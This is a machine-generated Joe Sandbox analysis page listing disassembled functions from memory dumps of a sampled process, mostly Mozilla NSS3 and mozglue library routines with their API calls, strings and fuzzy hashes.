Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 121cec03e7824712cbc2125d3ded8db684e560b8fe2ea8f31e8583b80533df02
Instruction ID: 913646641816cca96251084992676d5ebf95a0ae4e5418616ad63ac5bc46b363
Opcode Fuzzy Hash: 121cec03e7824712cbc2125d3ded8db684e560b8fe2ea8f31e8583b80533df02
Instruction Fuzzy Hash: 481170B2B02165ABDF00AE66EC8599AB77CFB042697144121E91987E01E732F474C7E2

Function 6CBD2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBD5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBD2CEC

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBD2D02
PR_EnterMonitor.NSS3(?), ref: 6CBD2D1F
PR_ExitMonitor.NSS3(?), ref: 6CBD2D42
PR_ExitMonitor.NSS3(?), ref: 6CBD2D5B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 31907d2be50789fc6454db3c12b63218d2b13b90e039c0b848905f3937ce0ccc
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 5001C4B1A002846BEA309F25FC40BC7B7A1EF45318F014525E95D86B20E633FC198793

Function 6CBD2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CBD5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CBD5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBD2D9C

Part of subcall function 6CBEC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CBEC2BF

PR_EnterMonitor.NSS3(?), ref: 6CBD2DB2
PR_EnterMonitor.NSS3(?), ref: 6CBD2DCF
PR_ExitMonitor.NSS3(?), ref: 6CBD2DF2
PR_ExitMonitor.NSS3(?), ref: 6CBD2E0B

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 1b1384aa7a37a274a94ca2ecc856b377a5e5bcc992de1c9309ef490b3eef8f99
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 1C01C4B5A006805BEA309F25FC01BC7B7A1EF45358F010435E95D86B11E633F8298793

Function 6CB6AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CB53090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CB6AE42), ref: 6CB530AA
Part of subcall function 6CB53090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB530C7
Part of subcall function 6CB53090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CB530E5
Part of subcall function 6CB53090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CB53116
Part of subcall function 6CB53090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB5312B
Part of subcall function 6CB53090: PK11_DestroyObject.NSS3(?,?), ref: 6CB53154
Part of subcall function 6CB53090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB5317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CB499FF,?,?,?,?,?,?,?,?,?,6CB42D6B,?), ref: 6CB6AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CB499FF,?,?,?,?,?,?,?,?,?,6CB42D6B,?), ref: 6CB6AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CB42D6B,?,?,00000000), ref: 6CB6AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CB42D6B,?,?,00000000), ref: 6CB6AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CB42D6B,?,?), ref: 6CB6AEA3

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 922efefbaf5d0c12611f64bf17c88aaffbf2553ef1a85f32f5e1359c9ab68e70
Instruction ID: dd806d7ebc3a6b07b84e09c74ec1ba010c382c7dcd3f6fa2d66675135d64e29a
Opcode Fuzzy Hash: 922efefbaf5d0c12611f64bf17c88aaffbf2553ef1a85f32f5e1359c9ab68e70
Instruction Fuzzy Hash: 5F01D1A6B000F097EB01926EEC81BAF31988F8765CB180031F906C7F41F716D9154BA3

Function 6CA60D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CA23DEF), ref: 6CA60D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CA23DEF), ref: 6CA60D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CA23DEF), ref: 6CA60DAF

Strings

<jemalloc>, xrefs: 6CA60D92, 6CA60DB9
: (malloc) Error in VirtualFree(), xrefs: 6CA60D97, 6CA60DBE

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: f019dbff0910f2a29d06078a7cb6b942dbe47c488853fdd88a0949cd429c30e7
Instruction ID: 9acf0b850e0f08c90b26aaeb6039460330e7e379c003464a8ebbf16a47681a88
Opcode Fuzzy Hash: f019dbff0910f2a29d06078a7cb6b942dbe47c488853fdd88a0949cd429c30e7
Instruction Fuzzy Hash: 6FF0803138035963D51811EBAC09F5F365D67C5B55F388236F214DBDC0DB50E4C6465D

Function 6CC5ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CC5A6D8), ref: 6CC5AE0D
free.MOZGLUE(?), ref: 6CC5AE14
DeleteCriticalSection.KERNEL32(6CC5A6D8), ref: 6CC5AE36
free.MOZGLUE(?), ref: 6CC5AE3D
free.MOZGLUE(00000000,00000000,?,?,6CC5A6D8), ref: 6CC5AE47

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 7014533b7f2bf766e0b138f0bff279210a45113af5f8bf6f2060575e962489cf
Instruction ID: 7bed4a4faf5d0aa91bd5e05f384b2ff82c5ed563e82dd3307041e6fcdfd0fec1
Opcode Fuzzy Hash: 7014533b7f2bf766e0b138f0bff279210a45113af5f8bf6f2060575e962489cf
Instruction Fuzzy Hash: 8BF0F675201A01ABCA009F69D848917B778BF867747500328E12A83940E731E031C7D9

Function 6CA4D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CA5CBE8: GetCurrentProcess.KERNEL32(?,6CA231A7), ref: 6CA5CBF1
Part of subcall function 6CA5CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CA231A7), ref: 6CA5CBFA

EnterCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D4F2
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D50B

Part of subcall function 6CA2CFE0: EnterCriticalSection.KERNEL32(6CAAE784), ref: 6CA2CFF6
Part of subcall function 6CA2CFE0: LeaveCriticalSection.KERNEL32(6CAAE784), ref: 6CA2D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D52E
EnterCriticalSection.KERNEL32(6CAAE7DC), ref: 6CA4D690
LeaveCriticalSection.KERNEL32(6CAAE784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CA5D1C5), ref: 6CA4D751

Strings

MOZ_CRASH(), xrefs: 6CA4D4BB

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 37aaefae4481d49e52db35341a5f1257e9a8e68ae43f50f074b83a9849bbdb30
Instruction ID: e32db815539d8bbe2e2b2846fe3c6bc4bfbd82a592b70b0be144927cfbde10a9
Opcode Fuzzy Hash: 37aaefae4481d49e52db35341a5f1257e9a8e68ae43f50f074b83a9849bbdb30
Instruction Fuzzy Hash: 82510271E047028FD328CF68C09465AB7E1EB89704F15CA2ED599C7B84D730E885CB91

Function 6CA746E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CA74721

Part of subcall function 6CA24410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CA63EBD,00000017,?,00000000,?,6CA63EBD,?,?,6CA242D2), ref: 6CA24444

Strings

., xrefs: 6CA7476A
-%llu, xrefs: 6CA74733
profiler-paused, xrefs: 6CA746E4

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: b137606e1c250701fc2cdded5f4c345cfc39621e04bb60daadd9926c3fffb912
Instruction ID: 076f2d1bce52fa85d7797cad7c2dc6f89ebbafa0c70cd4e7ac172cd6eaee5eb7
Opcode Fuzzy Hash: b137606e1c250701fc2cdded5f4c345cfc39621e04bb60daadd9926c3fffb912
Instruction Fuzzy Hash: 30314B75F043085BCB0CCF6DD88129DBBE6EB89314F59813EE8059BB41E77498848F60

Function 6CA7B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA24290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CA63EBD,6CA63EBD,00000000), ref: 6CA242A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CA7B127), ref: 6CA7B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA7B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CA7B4E4

Strings

pid:, xrefs: 6CA7B4DE

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 9a6b8a6649150122139cb18c025e227ce4a08e1ac45363cd8302fc5da05c9176
Instruction ID: c0e21c032ed673462c2b66fdb04a3cc0f84d7e0970a58a30770368dcf2b5fae9
Opcode Fuzzy Hash: 9a6b8a6649150122139cb18c025e227ce4a08e1ac45363cd8302fc5da05c9176
Instruction Fuzzy Hash: 97311775A01209DFDB20DFAAE840AEEB775FF05318F580629D41267A40D731E8D9CBB1

Function 6CAD6C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CAD6D36

Strings

database corruption, xrefs: 6CAD6D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CAD6D20
%s at line %d of [%.10s], xrefs: 6CAD6D2F

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 1e992da25c14c2b997f8229b4e63b7673fce25adf155fe86121111b1eb555585
Instruction ID: 21036d2cc63fbbad7ccdde47bab4b84b641d13c05465e66124139b6fafd020f7
Opcode Fuzzy Hash: 1e992da25c14c2b997f8229b4e63b7673fce25adf155fe86121111b1eb555585
Instruction Fuzzy Hash: A921F470600B059BC710CE19E941B5AB7F2AF85308F25492CD8999BF51E371F9C98BA2

Function 6CC0CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CC0CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CC0CC7B), ref: 6CC0CD7A
Part of subcall function 6CC0CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CC0CD8E
Part of subcall function 6CC0CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CC0CDA5
Part of subcall function 6CC0CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CC0CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CC0CCB5
memcpy.VCRUNTIME140(6CCA14F4,6CCA02AC,00000090), ref: 6CC0CCD3
memcpy.VCRUNTIME140(6CCA1588,6CCA02AC,00000090), ref: 6CC0CD2B

Part of subcall function 6CB29AC0: socket.WSOCK32(?,00000017,6CB299BE), ref: 6CB29AE6
Part of subcall function 6CB29AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CB299BE), ref: 6CB29AFC

Part of subcall function 6CB30590: closesocket.WSOCK32(6CB29A8F,?,?,6CB29A8F,00000000), ref: 6CB30597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CC0CCB0

Memory Dump Source

Source File: 00000000.00000002.2700205265.000000006CAC1000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CAC0000, based on PE: true

Associated: 00000000.00000002.2700152517.000000006CAC0000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700579804.000000006CC9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700630266.000000006CC9F000.00000008.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2700696862.000000006CCA0000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2701084753.000000006CCA5000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cac0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 00382c2956a32ebbf2605304e6a21f2f1e491b9cb2e2a7ee43928285871bbc54
Instruction ID: 832453e8973446760826f83fc0bb2c547af967a823f3dbae60ad592a7c9c6715
Opcode Fuzzy Hash: 00382c2956a32ebbf2605304e6a21f2f1e491b9cb2e2a7ee43928285871bbc54
Instruction Fuzzy Hash: DB1151B5B00250DFDB009FEDAC4E74A3AB89346798F541129E50ACBB41F771C4248BEA

Function 6CA6E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CA6E577
AcquireSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6E584
ReleaseSRWLockExclusive.KERNEL32(6CAAF4B8), ref: 6CA6E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CA6E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CA6E722, 6CA6E750, 6CA6E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CA6E655
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CA6E777
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CA6E826, 6CA6E850
MOZ_PROFILER_STARTUP, xrefs: 6CA6E5A1, 6CA6E5CC, 6CA6E5FF, 6CA6E62A

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3a6fd8bb6f243d5b974b60ae0622d4b9e9404f558c0b48144d4a16079348eec6
Instruction ID: 7f001c576716ec191d94f6b2330dbb06292a4875ead17a3d79cde16b73dbcf22
Opcode Fuzzy Hash: 3a6fd8bb6f243d5b974b60ae0622d4b9e9404f558c0b48144d4a16079348eec6
Instruction Fuzzy Hash: CA11E13160434ADFCB089F99E848B6DBBB4FB89328F00861DE84657B50C770A886CBD1

Function 6CA70C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA70CD5

Part of subcall function 6CA5F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CA5F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CA70D40
free.MOZGLUE ref: 6CA70DCB

Part of subcall function 6CA45E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CA45EDB
Part of subcall function 6CA45E90: memset.VCRUNTIME140(6CA87765,000000E5,55CCCCCC), ref: 6CA45F27
Part of subcall function 6CA45E90: LeaveCriticalSection.KERNEL32(?), ref: 6CA45FB2

free.MOZGLUE ref: 6CA70DDD
free.MOZGLUE ref: 6CA70DF2

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca20000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 0a08e9f73cc36ca8be1c97fd3f70692c386261fcc46438632b49311e7c0fd07a
Instruction ID: ec8e5de4aa76f6844f07b0f8529df3ac6ac6c3d7bc79fd252579df247908a1f8
Opcode Fuzzy Hash: 0a08e9f73cc36ca8be1c97fd3f70692c386261fcc46438632b49311e7c0fd07a
Instruction Fuzzy Hash: 614138759187809BD320CF29C28179AFBE5BFC9714F518A2EE8D887711DB709489CB92

Function 6CA7CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7CDA4

Part of subcall function 6CA3CA10: malloc.MOZGLUE(?), ref: 6CA3CA26

Part of subcall function 6CA7D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CA7CDBA,00100000,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7D158
Part of subcall function 6CA7D130: InitializeConditionVariable.KERNEL32(00000098,?,6CA7CDBA,00100000,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7CDC4

Part of subcall function 6CA77480: ReleaseSRWLockExclusive.KERNEL32(?,6CA815FC,?,?,?,?,6CA815FC,?), ref: 6CA774EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7CECC

Part of subcall function 6CA3CA10: mozalloc_abort.MOZGLUE(?), ref: 6CA3CAA2

Part of subcall function 6CA6CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CA7CEEA,?,?,?,?,00000000,?,6CA6DA31,00100000,?,?,00000000), ref: 6CA6CB57
Part of subcall function 6CA6CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CA6CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CA7CEEA,?,?), ref: 6CA6CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CA6DA31,00100000,?,?,00000000,?), ref: 6CA7D058

Memory Dump Source

Source File: 00000000.00000002.2699980794.000000006CA21000.00000020.00000001.01000000.00000014.sdmp, Offset: 6CA20000, based on PE: true

Associated: 00000000.00000002.2699948989.000000006CA20000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700087587.000000006CAAE000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2700119864.000000006CAB2000.00000002.00000001.01000000.00000014.sdmpDownload File
